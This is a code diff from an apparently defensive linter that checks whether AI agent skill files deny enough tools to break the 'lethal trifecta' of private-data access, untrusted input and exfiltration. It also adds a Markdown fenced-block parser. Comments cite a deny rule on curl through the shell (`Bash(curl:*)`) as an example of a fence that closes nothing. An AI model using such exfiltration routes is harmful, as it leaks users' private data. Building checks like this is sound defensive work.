// all, so whatever `disallowed-tools:` it appears to contain denies nothing.
|
|
585
|
+
const declared = ctx.contractUnreadable ? null : disallowed;
|
|
586
|
+
const legs = skillFenceLegs(declared ?? [], dialect);
|
|
587
|
+
const open = ["private", "untrusted", "exfil"].filter((leg) => legs[leg].length > 0);
|
|
588
|
+
if (open.length < 3)
|
|
589
|
+
return null; // a whole leg is closed — Rule of Two holds
|
|
590
|
+
if (declared === null) {
|
|
591
|
+
return {
|
|
592
|
+
severity: "advisory",
|
|
593
|
+
legs,
|
|
594
|
+
fence: "none",
|
|
595
|
+
message: ctx.contractUnreadable
|
|
596
|
+
? "Frontmatter is not valid YAML, so this skill declares no readable fence — a " +
|
|
597
|
+
"strict loader rejects the block, and `disallowed-tools:` inside a block that " +
|
|
598
|
+
"does not parse denies nothing. The skill inherits every tool the session " +
|
|
599
|
+
"grants and holds all three lethal-trifecta legs (read private data, ingest " +
|
|
600
|
+
"untrusted content, exfiltrate). Fix the YAML first, then fence. " +
|
|
601
|
+
PREAPPROVAL_NOTE
|
|
602
|
+
: "No `disallowed-tools:` line, so this skill inherits every tool the session " +
|
|
603
|
+
"grants and holds all three lethal-trifecta legs (read private data, ingest " +
|
|
604
|
+
"untrusted content, exfiltrate). " +
|
|
605
|
+
PREAPPROVAL_NOTE +
|
|
606
|
+
" " +
|
|
607
|
+
fenceFix(dialect),
|
|
608
|
+
};
|
|
609
|
+
}
|
|
610
|
+
// 🔴 An EXPLICIT empty list is an ATTEMPT, and the doc contract above already
|
|
611
|
+
// said so ("the two are NOT the same … the message should not tell an author who
|
|
612
|
+
// wrote the line that they didn't") — the code then folded it in with the absent
|
|
613
|
+
// case anyway. The cost was not just wording: `fence: "none"` routes into the
|
|
614
|
+
// whole-surface AGGREGATE ("N of M skills declare no tool fence"), so the one
|
|
615
|
+
// author who reached for the field and got nothing from it was the one who never
|
|
616
|
+
// heard about it. `disallowed-tools: []` denies nothing, which is exactly what
|
|
617
|
+
// `"ineffective"` means, and that state keeps its own per-skill line.
|
|
618
|
+
//
|
|
619
|
+
// Grading is untouched: both states are `"advisory"` and both count once toward
|
|
620
|
+
// `trifectaExposure`. An empty fence has capability equal to no fence, so moving
|
|
621
|
+
// it must not make it score worse — see the non-monotonicity note above.
|
|
622
|
+
if (declared.length === 0) {
|
|
623
|
+
return {
|
|
624
|
+
severity: "advisory",
|
|
625
|
+
legs,
|
|
626
|
+
fence: "ineffective",
|
|
627
|
+
message: "`disallowed-tools:` is declared but EMPTY, so it denies nothing and this " +
|
|
628
|
+
"skill still holds all three lethal-trifecta legs — private-data read is " +
|
|
629
|
+
`supplied by ${legs.private.join(", ")}, untrusted intake by ` +
|
|
630
|
+
`${legs.untrusted.join(", ")}, exfiltration by ${legs.exfil.join(", ")}. ` +
|
|
631
|
+
"The line exists, so this is a fence that was attempted and closes nothing, " +
|
|
632
|
+
"not a missing one. " +
|
|
633
|
+
fenceFix(dialect),
|
|
634
|
+
};
|
|
635
|
+
}
|
|
636
|
+
// The same split as the subagent side, for the same reason: "closes no leg" is
|
|
637
|
+
// one sentence covering two causes that need two different edits.
|
|
638
|
+
//
|
|
639
|
+
// A RESTRICTED deny (`disallowed-tools: Bash(curl:*)`) is not weighed and found
|
|
640
|
+
// wanting — it is DISCARDED, because denying one invocation of the shell says
|
|
641
|
+
// nothing about the rest of it. An author who wrote that line and read "a leg is
|
|
642
|
+
// closed only when EVERY built-in that supplies it is denied" would reasonably
|
|
643
|
+
// add more restricted denies and watch nothing happen. Naming the discard is the
|
|
644
|
+
// difference between a diagnosis and a wild goose chase.
|
|
645
|
+
const ignored = declared.filter((raw) => restriction(raw) !== null);
|
|
646
|
+
const preamble = ignored.length > 0
|
|
647
|
+
? `\`${ignored.join("`, `")}\` denies nothing: a RESTRICTED deny is discarded, not ` +
|
|
648
|
+
"weighed — denying one invocation of a tool leaves the tool. Only an " +
|
|
649
|
+
"unrestricted name (`Bash`, not `Bash(curl:*)`) removes it from the pool. " +
|
|
650
|
+
(ignored.length === declared.length
|
|
651
|
+
? "Every entry in this fence is restricted, so it closes nothing at all. "
|
|
652
|
+
: "The unrestricted entries that remain still close no whole leg. ")
|
|
653
|
+
: `\`disallowed-tools: ${declared.join(", ")}\` closes no lethal-trifecta leg — ` +
|
|
654
|
+
"a leg is closed only when EVERY built-in that supplies it is denied. ";
|
|
655
|
+
return {
|
|
656
|
+
severity: "advisory",
|
|
657
|
+
legs,
|
|
658
|
+
fence: "ineffective",
|
|
659
|
+
message: preamble +
|
|
660
|
+
`Private-data read is still supplied by ${legs.private.join(", ")}, untrusted ` +
|
|
661
|
+
`intake by ${legs.untrusted.join(", ")}, exfiltration by ${legs.exfil.join(", ")}. ` +
|
|
662
|
+
fenceFix(dialect),
|
|
663
|
+
};
|
|
664
|
+
}
|
|
321
665
|
//# sourceMappingURL=lethal-trifecta.js.map
|
package/dist/core/markdown.d.ts
CHANGED
|
@@ -10,4 +10,36 @@
|
|
|
10
10
|
* indices line up 1:1 with the caller's line array.
|
|
11
11
|
*/
|
|
12
12
|
export declare function fencedLineFlags(src: string): boolean[];
|
|
13
|
+
/** One fenced code block: its BODY (delimiters excluded) and where the body starts. */
|
|
14
|
+
export interface FencedBlock {
|
|
15
|
+
/** The block's contents, without the opening/closing fence lines. */
|
|
16
|
+
readonly body: string;
|
|
17
|
+
/** 1-BASED line number of the body's first line, for a caller's messages. */
|
|
18
|
+
readonly start: number;
|
|
19
|
+
}
|
|
20
|
+
/**
|
|
21
|
+
* Every fenced code block in `src`, in document order — the same parser
|
|
22
|
+
* {@link fencedLineFlags} uses, for callers that want the CONTENTS rather than a
|
|
23
|
+
* per-line flag.
|
|
24
|
+
*
|
|
25
|
+
* 🔴 THE CLOSING FENCE MUST MATCH THE OPENING ONE, and every hand-rolled version
|
|
26
|
+
* of this in the repo got that wrong the same way: any line beginning with three
|
|
27
|
+
* backticks TOGGLED. CommonMark says a closing fence uses the same CHARACTER as
|
|
28
|
+
* the opener and is at least as LONG, so a four-backtick block wrapping an
|
|
29
|
+
* ordinary ``` example closes early — the block is cut in half, and the prose
|
|
30
|
+
* after it becomes "another block" whose text is then read as commands. That
|
|
31
|
+
* makes a document-rule check both MISS commands and JUDGE prose. `~~~` fences
|
|
32
|
+
* were not recognized at all.
|
|
33
|
+
*
|
|
34
|
+
* Backed by markdown-it (CommonMark), so delimiter character, delimiter length,
|
|
35
|
+
* `~~~`, indented fences inside list items and an unterminated final fence are
|
|
36
|
+
* all decided by the grammar rather than re-derived here. Measured 2026-08-12 on
|
|
37
|
+
* each of those shapes.
|
|
38
|
+
*
|
|
39
|
+
* One deliberate difference from a hand-rolled toggle, and it is the grammar's:
|
|
40
|
+
* a fence indented FOUR or more spaces at top level is an indented code block,
|
|
41
|
+
* not a fence, and is not returned. Line numbers count from the ORIGINAL source,
|
|
42
|
+
* so a caller's message points at the real line.
|
|
43
|
+
*/
|
|
44
|
+
export declare function fencedCodeBlocks(src: string): FencedBlock[];
|
|
13
45
|
//# sourceMappingURL=markdown.d.ts.map
|
package/dist/core/markdown.js
CHANGED
|
@@ -4,6 +4,7 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
|
4
4
|
};
|
|
5
5
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
6
6
|
exports.fencedLineFlags = fencedLineFlags;
|
|
7
|
+
exports.fencedCodeBlocks = fencedCodeBlocks;
|
|
7
8
|
/**
|
|
8
9
|
* vigiles — the ONE markdown-structure helper.
|
|
9
10
|
*
|
|
@@ -49,4 +50,39 @@ function fencedLineFlags(src) {
|
|
|
49
50
|
}
|
|
50
51
|
return flags;
|
|
51
52
|
}
|
|
53
|
+
/**
|
|
54
|
+
* Every fenced code block in `src`, in document order — the same parser
|
|
55
|
+
* {@link fencedLineFlags} uses, for callers that want the CONTENTS rather than a
|
|
56
|
+
* per-line flag.
|
|
57
|
+
*
|
|
58
|
+
* 🔴 THE CLOSING FENCE MUST MATCH THE OPENING ONE, and every hand-rolled version
|
|
59
|
+
* of this in the repo got that wrong the same way: any line beginning with three
|
|
60
|
+
* backticks TOGGLED. CommonMark says a closing fence uses the same CHARACTER as
|
|
61
|
+
* the opener and is at least as LONG, so a four-backtick block wrapping an
|
|
62
|
+
* ordinary ``` example closes early — the block is cut in half, and the prose
|
|
63
|
+
* after it becomes "another block" whose text is then read as commands. That
|
|
64
|
+
* makes a document-rule check both MISS commands and JUDGE prose. `~~~` fences
|
|
65
|
+
* were not recognized at all.
|
|
66
|
+
*
|
|
67
|
+
* Backed by markdown-it (CommonMark), so delimiter character, delimiter length,
|
|
68
|
+
* `~~~`, indented fences inside list items and an unterminated final fence are
|
|
69
|
+
* all decided by the grammar rather than re-derived here. Measured 2026-08-12 on
|
|
70
|
+
* each of those shapes.
|
|
71
|
+
*
|
|
72
|
+
* One deliberate difference from a hand-rolled toggle, and it is the grammar's:
|
|
73
|
+
* a fence indented FOUR or more spaces at top level is an indented code block,
|
|
74
|
+
* not a fence, and is not returned. Line numbers count from the ORIGINAL source,
|
|
75
|
+
* so a caller's message points at the real line.
|
|
76
|
+
*/
|
|
77
|
+
function fencedCodeBlocks(src) {
|
|
78
|
+
const out = [];
|
|
79
|
+
for (const tok of md.parse(src, {})) {
|
|
80
|
+
if (tok.type !== "fence" || tok.map === null)
|
|
81
|
+
continue;
|
|
82
|
+
// `content` is the body only; `map[0]` is the OPENING delimiter's 0-based
|
|
83
|
+
// line, so the body's first line is 1-based `map[0] + 2`.
|
|
84
|
+
out.push({ body: tok.content.replace(/\n$/, ""), start: tok.map[0] + 2 });
|
|
85
|
+
}
|
|
86
|
+
return out;
|
|
87
|
+
}
|
|
52
88
|
//# sourceMappingURL=markdown.js.map
|